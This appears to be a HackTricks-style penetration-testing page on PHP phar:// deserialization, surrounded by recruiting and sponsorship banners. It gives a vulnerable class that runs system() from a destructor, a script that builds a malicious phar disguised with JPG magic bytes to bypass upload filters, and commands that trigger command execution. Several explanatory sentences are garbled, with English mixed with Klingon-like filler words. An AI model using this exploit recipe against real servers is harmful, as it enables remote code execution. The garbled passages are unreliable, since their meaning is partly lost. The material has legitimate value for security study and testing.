# phar:// Deserialization

<details>

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<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:

{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}

**phar** file vItlhutlh **abuse** vItlhutlh **class** vItlhutlh **execute arbitrary command**s vItlhutlh **create_phar.php** vItlhutlh **something like**:

{% code title="create_phar.php" %}
```php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}

**JPG** (`\xff\xd8\xff`) **magic bytes** **ghItlh** **phar** **file** **bI'el** **bypass** **possible** **file** **uploads** **restrictions** **ghItlh**.\
**Compile** **test.phar** **file** **ghItlh**:
```bash
php --define phar.readonly=0 create_phar.php
```
'ej `whoami` command vItlhutlh vulnerable code vItlhutlh.
```bash
php vuln.php
```
### References

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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